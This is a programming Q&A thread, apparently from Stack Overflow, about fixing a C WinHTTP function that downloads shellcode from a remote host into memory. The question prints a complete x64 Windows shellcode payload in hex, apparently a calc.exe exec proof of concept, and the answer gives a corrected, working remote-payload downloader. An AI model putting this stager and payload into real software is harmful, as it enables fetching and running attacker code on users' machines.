Search code examples
cwinapidownloadbinaryshellcode

Downloading shellcode (binary data) with WinHTTP lib


I have a problem with my C code, I would like to download from a URL the data of a file (shellcode) and store it in an unsigned char array (mycode), with the code below, when there are 0's in the file containing the shellcode the program removes some zero's and thus alters the shellcode :

Buffer WinREQ(LPCWSTR domain, LPCWSTR path) {

    BOOL  bResults = FALSE;
    DWORD dwSize = 0;
    LPSTR pszOutBuffer;
    DWORD dwDownloaded = 0;
    unsigned char mycode[DEFAULT_BUFLEN] = "";
    LPCWSTR accept[2] = { L"application/octet-stream", NULL };

    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;

    // Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(L"WinHTTP Example/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);

    // Specify an HTTP server.
    if (hSession)
    {
        hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTP_PORT, 0);
        printf("Success in WinHttpConnect\n");
    }
    else
    {
        printf("Failed in WinHttpConnect (%u)\n", GetLastError());
    }

    // Create an HTTP request handle.
    if (hConnect)
    {
        hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, accept, NULL);
        printf("Success in WinHttpOpenRequest\n");
    }
    else
    {
        printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
    }

    // Send a request.
    if (hRequest)
    {
        bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
        printf("Success in WinHttpSendRequest\n");
    }
    else
    {
        printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
    }

    // End the request.
    if (bResults)
    {
        bResults = WinHttpReceiveResponse(hRequest, NULL);
        printf("Success in WinHttpReceiveResponse\n");
    }
    else
    {
        printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
    }

    // Keep checking for data until there is nothing left.
    if (bResults)
    {
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());

            // Allocate space for the buffer.
            pszOutBuffer = malloc(dwSize + 1);

            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                dwSize = 0;
            }
            else
            {
                // Read the Data.
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded))
                {
                    printf("Error %u in WinHttpReadData.\n", GetLastError());
                }
                else
                {

                    memcpy(mycode, (LPVOID)pszOutBuffer, dwSize);
                    
                }
                free(pszOutBuffer);
            }
        } while (dwSize > 0);
    }

    if (sizeof(mycode) == DEFAULT_BUFLEN)
    {
        printf("Success retrieving the shellcode\n");
        printf("Shellcode Size : %d\n", sizeof(mycode));

    }
    else
    {
        printf("Failed retrieving the shellcode\n");
        exit;
    }

    // Report any errors.
    if (!bResults)
        printf("Error %d has occurred.\n", GetLastError());

    // Close any open handles.
    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    size_t size = sizeof(mycode);
    char* PE = (char*)malloc(size);
    for (int i = 0; i < sizeof(mycode); i++) {
        PE[i] = mycode[i];
    }

    Buffer buffer;
    buffer.data = PE;
    buffer.size = size;

    return buffer;

}

The shellcode is the following (xxd -p shellcode.bin) :

fc4883e4f0e8c0000000415141505251564831d265488b5260488b521848
8b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d41
01c1e2ed524151488b52208b423c4801d08b80880000004885c074674801
d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0
ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d0
66418b0c48448b401c4901d0418b04884801d0415841585e595a41584159
415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000
000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dff
d54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c
632e6578652000

And the output when i call my function WinREQ is the following :

fffffffc48ffffff83ffffffe4fffffff0ffffffe8ffffffc0000415141505251564831ffffffd26548ffffff8b526048ffffff8b521848ffffff8b522048ffffff8b725048fffffffb74a4a4d31ffffffc94831ffffffc0ffffffac3c617c22c2041ffffffc1ffffffc9d411ffffffc1ffffffe2ffffffed52415148ffffff8b5220ffffff8b423c481ffffffd0ffffff8bffffff80ffffff8800048ffffff85ffffffc07467481ffffffd050ffffff8b481844ffffff8b4020491ffffffd0ffffffe35648ffffffffffffffc941ffffff8b34ffffff88481ffffffd64d31ffffffc94831ffffffc0ffffffac41ffffffc1ffffffc9d411ffffffc138ffffffe075fffffff14c34c2484539ffffffd175ffffffd85844ffffff8b4024491ffffffd06641ffffff8bc4844ffffff8b401c491ffffffd041ffffff8b4ffffff88481ffffffd0415841585e595a41584159415a48ffffff83ffffffec204152ffffffffffffffe05841595a48ffffff8b12ffffffe957ffffffffffffffffffffffff5d48ffffffba1000000048ffffff8dffffff8d110041ffffffba31ffffff8b6fffffff87ffffffffffffffd5ffffffbbfffffff0ffffffb5ffffffa25641ffffffbaffffffa6ffffff95ffffffbdffffff9dffffffffffffffd548ffffff83ffffffc4283c67caffffff80fffffffbffffffe0755ffffffbb4713726f6a05941ffffff89ffffffdaffffffffffffffd563616c632e65786520

I don't understand why there is padding (fff) and I also don't understand why some zeros are replaced : 8c0000000415 replaced by 8c0000415. Can you please help me?


Solution

  • There are some mistakes in your code:

    • your call to memcpy() should be using dwDownloaded instead of dwSize since WinHttpReadData() can potentially return dwDownload as smaller than the requested dwSize.

    • since you are calling WinHttpReadData() in a loop, you need to append newly downloaded bytes after previously stored bytes. You are currently overwriting mycode on each loop iteration, losing previous bytes.

    • you are not ensuring that dwSize/dwDownloaded is <= DEFAULT_BUFLEN before calling memcpy(), so you are risking a buffer overflow. You are downloading as many bytes as WinHTTP tells you are available, not how many bytes you can physically store.

    • since mycode is a fixed-sized array of size DEFAULT_BUFLEN, sizeof(mycode) == DEFAULT_BUFLEN is always true. You need to instead keep track of how many bytes you actually store in mycode, and then you can check that value after the loop is finished.

    • for that matter, since Buffer can hold a variable number of bytes, you should not be storing your downloaded bytes in a fixed-sized array to begin with. You can use a fixed-sized array to call WinHttpReadData(), and then append those bytes to a variable-sized dynamic array that you can then store in the final Buffer. Or, you can just get rid of the fixed-sized array altogether and receive bytes directly into the variable-sized array.

    • you are not printing the byte values correctly. Your buffer is an array of chars, and char may be either signed or unsigned, depending on compiler implementation. In your case, it is clearly signed because you are suffering from sign extension, that is where the extra fs are coming from whenever the high bit of a given byte is 1. When printing a byte as a char, you need to cast it to an unsigned type first so you will print using zero extension instead.

    With that said, try something more like this instead:

    Buffer WinREQ(LPCWSTR domain, LPCWSTR path) {
    
        BOOL  bResults = FALSE;
        DWORD dwSize = 0;
        LPBYTE pszOutBuffer = NULL, pszNewBuffer = NULL;
        DWORD dwDownloaded = 0, dwTotal = 0;
        LPCWSTR accept[2] = { L"application/octet-stream", NULL };
    
        HINTERNET hSession = NULL,
            hConnect = NULL,
            hRequest = NULL;
    
        // Use WinHttpOpen to obtain a session handle.
        hSession = WinHttpOpen(L"WinHTTP Example/1.0",
            WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
            WINHTTP_NO_PROXY_NAME,
            WINHTTP_NO_PROXY_BYPASS, 0);
        if (!hSession)
        {
            printf("Failed in WinHttpOpen (%u)\n", GetLastError());
            goto Finished;
        }
        printf("Success in WinHttpOpen\n");
    
        // Specify an HTTP server.
        hConnect = WinHttpConnect(hSession, domain, INTERNET_DEFAULT_HTTP_PORT, 0);
        if (!hConnect)
        {
            printf("Failed in WinHttpConnect (%u)\n", GetLastError());
            goto Finished;
        }
    
        // Create an HTTP request handle.
        hRequest = WinHttpOpenRequest(hConnect, L"GET", path, NULL, WINHTTP_NO_REFERER, accept, NULL);
        if (!hRequest)
        {
            printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());
            goto Finished;
        }
        printf("Success in WinHttpOpenRequest\n");
    
        // Send a request.
        bResults = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
        if (!bResults)
        {
            printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());
            goto Finished;
        }
        printf("Success in WinHttpSendRequest\n");
    
        // End the request.
        bResults = WinHttpReceiveResponse(hRequest, NULL);
        if (!bResults)
        {
            printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());
            goto Finished;
        }
        printf("Success in WinHttpReceiveResponse\n");
    
        // Keep checking for data until there is nothing left.
    
        do
        {
            // Check for available data.
            bResults = WinHttpQueryDataAvailable(hRequest, &dwSize);
            if (!bResults)
            {
                printf("Error in WinHttpQueryDataAvailable (%u)\n", GetLastError());
                break;
            }
    
            // Allocate space for the buffer.
            pszNewBuffer = (LPBYTE) realloc(pszOutBuffer, dwTotal + dwSize);
            if (!pszNewBuffer)
            {
                printf("Out of memory\n");
                bResults = FALSE;
                break;
            }
            pszOutBuffer = pszNewBuffer;
    
            // Read the Data.
            bResults = WinHttpReadData(hRequest, pszOutBuffer + dwTotal, dwSize, &dwDownloaded);
            if (!bResults)
            {
                printf("Error in WinHttpReadData (%u)\n", GetLastError());
                break;
            }
    
            dwTotal += dwDownloaded;
        }
        while (dwDownloaded != 0);
    
    Finished:
    
        // Close any open handles.
        if (hRequest) WinHttpCloseHandle(hRequest);
        if (hConnect) WinHttpCloseHandle(hConnect);
        if (hSession) WinHttpCloseHandle(hSession);
    
        if (!bResults)
        {
            printf("Failed retrieving the shellcode\n");
    
            free(pszOutBuffer);
            pszOutBuffer = NULL;
            dwTotal = 0;
        }
        else
        {
            printf("Success retrieving the shellcode\n");
            printf("Shellcode Size : %u\n", dwTotal);
            for(DWORD i = 0; i < dwTotal; ++i)
            {
                printf("%02x", pszOutBuffer[i]);
            }
        }
    
        Buffer buffer;
        buffer.data = (LPSTR) pszOutBuffer;
        buffer.size = dwTotal;
    
        return buffer;
    }